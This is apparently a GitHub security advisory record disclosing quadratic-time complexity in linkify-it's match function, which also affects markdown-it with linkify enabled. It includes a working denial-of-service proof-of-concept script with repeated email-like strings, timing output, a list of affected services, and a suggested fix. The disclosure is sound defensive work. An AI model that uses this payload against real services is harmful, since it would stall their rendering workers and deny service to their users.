{"id":"GHSA-22p9-wv53-3rq4","summary":"LinkifyIt#match scan loop has quadratic algorithmic complexity","details":"## Summary\n\n`LinkifyIt.prototype.match` — the package's primary public API — has **O(N²) algorithmic complexity** for inputs containing many fuzzy links or emails. This is not a regex backtrack bug; it's a structural issue in the JS-level scan loop that re-slices the input and re-runs unanchored regex searches on progressively shorter tails, N times.\n\n64 KB of `\"a@b.com\\n\"` repeated burns ~2.5 s of single-threaded CPU; 128 KB takes ~10 s. Doubling the input quadruples the time — textbook O(N²).\n\nThe same cost passes through `markdown-it` (`linkify:true`) unmodified. Any service that synchronously renders untrusted Markdown with linkify enabled on a request hot-path (forums, comments, chat, wikis, AI chat UIs) inherits a worker-process DoS triggerable by a tens-of-KB request body.\n\n## Affected component\n\n- HEAD audited: `8e887d5bace3f5b09b1d1f70492fa0364ef1793d` (v5.0.0)\n- Vulnerable function: `LinkifyIt.prototype.match` — `index.mjs:528-554`\n- Re-scan call sites inside `test()`: `index.mjs:444` (fuzzy host search), `:448` (fuzzy link match), `:467` (fuzzy email match)\n- Transitive consumer: `markdown-it` (~21.6M weekly npm DLs) calls `linkify.match()` at `lib/rules_core/linkify.mjs:57` when `linkify:true`\n- **All versions affected** — the vulnerable loop exists since the initial commit (2014) through v5.0.0\n\n## Vulnerability details\n\n### The O(N²) outer loop\n\n`index.mjs:528-554`:\n\n```js\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let shift = 0\n  let tail = shift ? text.slice(shift) : text\n\n  while (this.test(tail)) {\n    result.push(createMatch(this, shift))\n    tail = tail.slice(this.__last_index__)   // \u003c-- re-allocates remaining tail each iteration\n    shift += this.__last_index__\n  }\n\n  if (result.length) return result\n  return null\n}\n```\n\nThe loop iterates O(N) times (once per match). Each iteration:\n1. `tail.slice()` re-allocates a string of length `|text| - shift` — O(N) per iteration\n2. `this.test(tail)` runs three unanchored regex searches over the full new `tail`:\n\n```js\n// index.mjs:444 — full-tail search\ntld_pos = text.search(this.re.host_fuzzy_test)\n// index.mjs:448 — full-tail match\nml = text.match(this.re.link_fuzzy)\n// index.mjs:467 — full-tail match\nme = text.match(this.re.email_fuzzy)\n```\n\nTotal cost: `Σ(N - i*c) for i=0..N = O(N²)`.\n\n### Contrast with the linear schema branch\n\nThe schema-prefixed scan in the same `test()` function does it correctly at `index.mjs:428-440`:\n\n```js\nre = this.re.schema_search\nre.lastIndex = 0\nwhile ((m = re.exec(text)) !== null) { ... }\n```\n\nThat branch uses a `g`-flag RegExp and advances `lastIndex` — linear. The fuzzy branches don't follow this pattern.\n\n## Proof of concept\n\n```bash\nmkdir /tmp/linkifyit-redos && cd /tmp/linkifyit-redos\nnpm install linkify-it@5.0.0\n\ncat \u003e poc.mjs \u003c\u003c'EOF'\nimport LinkifyIt from 'linkify-it'\nconst l = new LinkifyIt()\nfor (const n of [1000, 2000, 4000, 8000, 16000]) {\n  const evil = 'a@b.com\\n'.repeat(n)\n  const t0 = process.hrtime.bigint()\n  l.match(evil)\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6\n  console.log(`n=${n} bytes=${evil.length} took ${ms.toFixed(0)} ms`)\n}\nEOF\nnode poc.mjs\n```\n\n### Measured output (Node v25.5.0, Apple Silicon)\n\n```\nn=1000  bytes=8000    took 44 ms\nn=2000  bytes=16000   took 159 ms\nn=4000  bytes=32000   took 628 ms\nn=8000  bytes=64000   took 2506 ms\nn=16000 bytes=128000  took 9948 ms\n```\n\nDoubling N → ~4× wall-clock, consistent with O(N²).\n\n### markdown-it transitive (independently confirmed)\n\n```bash\nnpm install markdown-it@14.1.1\nnode -e \"\n  const md = require('markdown-it')({ linkify: true })\n  for (const n of [1000, 2000, 4000, 8000]) {\n    const evil = 'a@b.com '.repeat(n)\n    const t0 = process.hrtime.bigint()\n    md.render(evil)\n    const ms = Number(process.hrtime.bigint() - t0) / 1e6\n    console.log('n=' + n + ' bytes=' + evil.length + ' md.render=' + ms.toFixed(0) + 'ms')\n  }\n\"\n```\n\n```\nn=1000 bytes=8000   md.render=45ms\nn=2000 bytes=16000  md.render=171ms\nn=4000 bytes=32000  md.render=672ms\nn=8000 bytes=64000  md.render=2636ms\n```\n\nSame quadratic curve. 64 KB is enough to burn 2.6 s in `markdown-it.render()`.\n\n## Impact\n\n- **Availability (High)**: A single HTTP request containing tens of KB of repeated email-like strings blocks one worker thread for seconds to tens of seconds. Under moderate concurrency (10-50 requests), the entire rendering tier of an affected service is wedged.\n- No confidentiality or integrity impact.\n\n**Real-world scenario**: Any service that renders untrusted Markdown with `linkify:true` on the request path — Discourse, Mattermost, GitLab CE, AI chat UIs (Open WebUI, LibreChat), wiki/note apps using markdown-it — receives a post/comment containing 64 KB of `\"a@b.com \"`. The render call blocks the worker for 2.5+ seconds. Scripted at scale, this wedges the rendering tier.\n\n## Suggested remediation\n\nThe fix is algorithmic — convert the outer scan loop to stateful regex iteration so each character is examined a constant number of times:\n\n1. Add the `g` flag to `email_fuzzy`, `link_fuzzy`, `link_no_ip_fuzzy`, `host_fuzzy_test` in `lib/re.mjs`\n2. Rewrite `test()` (or add `testAt(text, pos)`) so fuzzy branches set `re.lastIndex = pos` and call `re.exec(text)` instead of `text.match()`/`text.search()` on a sliced tail\n3. In `match()`, drop `tail = tail.slice(...)` entirely — advance a `pos` offset instead\n\nThe schema branch at `index.mjs:428-440` is already structured this way — it's the in-repo precedent for the fix.\n\n```js\n// proposed sketch\nLinkifyIt.prototype.match = function match (text) {\n  const result = []\n  let pos = 0\n  while (this.testAt(text, pos)) {\n    result.push(createMatch(this, 0))\n    pos = this.__last_index__\n  }\n  return result.length ? result : null\n}\n```\n\nTotal cost becomes O(N): each character scanned at most once per regex across the whole loop.\n\n## Duplicate-risk analysis\n\n- Zero GHSAs on `linkify-it` (`gh api /repos/markdown-it/linkify-it/security-advisories` → `[]`)\n- Zero OSV entries (`api.osv.dev/v1/query` → `{}`)\n- markdown-it's only GHSA (CVE-2022-21670, \"Possible ReDOS in newline rule\") targets markdown-it's own newline regex, not the linkify pipeline\n\nThis finding appears novel.\n\n## Note to maintainers\n\nSince `markdown-it` is the dominant consumer and shares maintainership (Vitaly Puzrin), a patched `linkify-it` release should be paired with a `markdown-it` minor that pins the new minimum version.","aliases":["CVE-2026-48801"],"modified":"2026-07-17T21:08:33.444772727Z","published":"2026-06-26T20:47:58Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-06-26T20:47:58Z","nvd_published_at":null,"cwe_ids":["CWE-1333"]},"references":[{"type":"WEB","url":"https://github.com/markdown-it/linkify-it/security/advisories/GHSA-22p9-wv53-3rq4"},{"type":"PACKAGE","url":"https://github.com/markdown-it/linkify-it"}],"affected":[{"package":{"name":"linkify-it","ecosystem":"npm","purl":"pkg:npm/linkify-it"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.0.1"}]}],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/06/GHSA-22p9-wv53-3rq4/GHSA-22p9-wv53-3rq4.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}]}